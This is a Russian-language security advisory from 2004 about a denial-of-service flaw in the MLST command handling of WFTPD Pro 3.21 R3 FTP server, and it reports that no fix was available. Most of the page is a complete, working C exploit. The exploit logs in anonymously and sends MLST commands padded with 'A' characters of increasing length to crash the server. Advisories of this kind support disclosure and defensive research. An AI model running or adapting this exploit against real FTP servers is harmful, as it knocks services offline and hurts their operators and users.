Security Lab

Удаленный отказ в обслуживании в WTFPD Pro

Дата публикации:02.09.2004
Всего просмотров:1513
Опасность:
Средняя
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: WFTPD Pro 3.21 R3

Описание: Уязвимость обнаружена в WTFPD Pro в обработке MLST команд. Удаленный авторизованный пользователь может аварийно завершить работу FTP сервера.

Пример/Эксплоит:

/*
*-----------------------------------------------------------------------
* 
* wftpd.c - WFTPD Pro Server 3.21 MLST DoS Exploit
*
* Copyright (C) 2000-2004 HUC All Rights Reserved.
*
* Author   : lion
*          : lion@cnhonker.net
*          : http://www.cnhonker.com
* Date     : 2004-08-30
*
*-----------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h> 

#pragma comment(lib, "ws2_32.lib")

#define FTPPORT      21
#define BUFFSIZE     204800
#define OVERFLOWSIZE 220
#define SIZE         2048      

// function
int create_socket();
int client_connect(int sockfd,char* server,int port);
int writebuf(char *s,int socket,char *buffer,int len);
int readbuf(char *s,int socket,char *buffer,int len);
void checkstatus(char *s);
void loginftp(SOCKET sockfd, char *user, char *pass);

int show = 1;
char recvbuf[BUFFSIZE];
char sendbuf[BUFFSIZE];

void main(int argc, char *argv[])
{
   WSADATA wsa;
   unsigned short    port;
   unsigned long     ip;
   char user[32] = "anonymous";
   char pass[32] = "anonymous";
   int i;
   
   char *command = "MLST ";

   SOCKET s;
   int size = OVERFLOWSIZE;

   printf("WFTPD Pro Server 3.21 MLST DoS Exploit\r\n");
       printf("lion lion#cnhonker.net, http://www.cnhonker.com\r\n\n");

   if(argc < 3)
   {
       printf("%s <TargetHost> <TargetPort>\r\n", argv[0]);
       return;
   }
   
   WSAStartup(MAKEWORD(2,2),&wsa);

   if((s=create_socket())==0) 
   {
       printf("[-] ERROR: Create socket failed.\r\n");
       return;
   }
     
   if(!client_connect(s, argv[1], atoi(argv[2])))
       exit(-1);
   
   loginftp(s, user, pass);
   
   memset(sendbuf, 0 ,BUFFSIZE);
   memcpy(sendbuf, "pasv\r\n", 6);
   writebuf("Send pasv", s, sendbuf, 6);
   readbuf("read", s, recvbuf, BUFFSIZE);
   
   for(i=0;i<60;i++,size++)
   {
       memset(sendbuf, 0, BUFFSIZE);
       memset(sendbuf, 'A', size);
       memcpy(sendbuf, command, strlen(command));
       sendbuf[size-2] ='\r';
       sendbuf[size-1] ='\n';
       
       printf("buff size :%d\r\n%s\r\n", strlen(sendbuf), sendbuf);
       show=1;
       writebuf("Send overflow buff", s, sendbuf, size);
       readbuf("read", s, recvbuf, BUFFSIZE);
       Sleep(500);
   }
   
   //send QUIT
   memset(sendbuf,0, BUFFSIZE);
   sprintf(sendbuf, "%s\r\n", "QUIT");
   writebuf("Send QUIT", s, sendbuf, strlen(sendbuf));
   
   //show=1;
   //readbuf("[+] QUIT......", s, recvbuf, BUFFSIZE);    
   //return;
       
   if(s)
       closesocket(s);
         
   WSACleanup();
}

int create_socket()
{  
   int sockfd;
 
   sockfd=socket(AF_INET,SOCK_STREAM,0);
   if(sockfd<0)
   {
       printf("[-] Create socket error.\r\n");
       return(0);
   }
   
   return(sockfd);    
}

int client_connect(int sockfd,char* server,int port)
{
   struct sockaddr_in cliaddr;
   struct hostent *host;

   if((host=gethostbyname(server))==NULL)
   {
       printf("[-] ERROR: gethostbyname(%s) error\n", server);
       return(-1);
   }      
   
   memset(&cliaddr, 0, sizeof(struct sockaddr));

   cliaddr.sin_family=AF_INET;
   cliaddr.sin_port=htons(port);
   cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
   printf("[+] Trying %s:%d......", server, port);
   fflush(stdout);

   if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
   {
       printf("FAILED!\r\n");
       closesocket(sockfd);
       return(-1);
   }

   printf("OK!\r\n");
   return(1);
}

int writebuf(char *s,int socket,char *buffer,int len)
{
   int j;

   if(s)
   {
       printf("[+] %s......", s);
       fflush(stdout);
   }    

   j=send(socket,buffer,len,0);
   if(j<=0)
   {
       printf("FAILED!\r\n");
           exit(-1);
   }    
   printf("OK!\r\n");
   return j;
}

int readbuf(char *s,int socket,char *buffer,int len)
{
   int a,b,i,j=0;
   
   a=b=i=0;
   memset(buffer,0,len);

   if(s)
   {
       printf("[+] %s......", s);
       fflush(stdout);
   }

   j=recv(socket,buffer,len-1,0);
   if(j <= 0)
   {
       if(s) printf("FAILED!\n");
           printf("[-] Recv data error.\n");
       exit(-1);
   }    
       
   if(s) printf("OK!\n");

   buffer[len-1]='\0';

   if(show==1)  printf("<==\r\n%s<==\r\n",buffer);

   return j;
}

void checkstatus(char *s)
{
   if(s==NULL) exit(-1);
   if(isdigit(*s))
   {
       if(s[0]=='5')
       {    
           printf("[-] Server told:%s\n",s);
           exit(-1);
       }
       else return;
   }

   printf("[-] Server said:%s\n",s);
   exit(-1);
}

void loginftp(SOCKET sockfd, char *user, char *pass)
{
   int j;
   
   show=1;
   readbuf("Get FTP Server banner",sockfd, recvbuf, SIZE);
   //show=0;

   //send USER username
   memset(sendbuf,0,BUFFSIZE);
   j=sprintf(sendbuf,"%s %s\r\n", "USER", user);
   writebuf("Send USER", sockfd,sendbuf,j);
   readbuf(NULL,sockfd, recvbuf, BUFFSIZE);
   checkstatus(recvbuf);

   //send PASS password
   memset(sendbuf,0,BUFFSIZE);
   j=sprintf(sendbuf,"%s %s\r\n","PASS", pass);
   writebuf("Send PASS", sockfd, sendbuf, j);
   readbuf(NULL,sockfd,recvbuf, BUFFSIZE);
   checkstatus(recvbuf);
   printf("[+] User %s logged in.\r\n", user);
}

URL производителя: http://www.wftpd.com/

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.

Ссылки: [vulnwatch] WFTPD Pro Server 3.21 MLST Command Denial of Service Vulnerability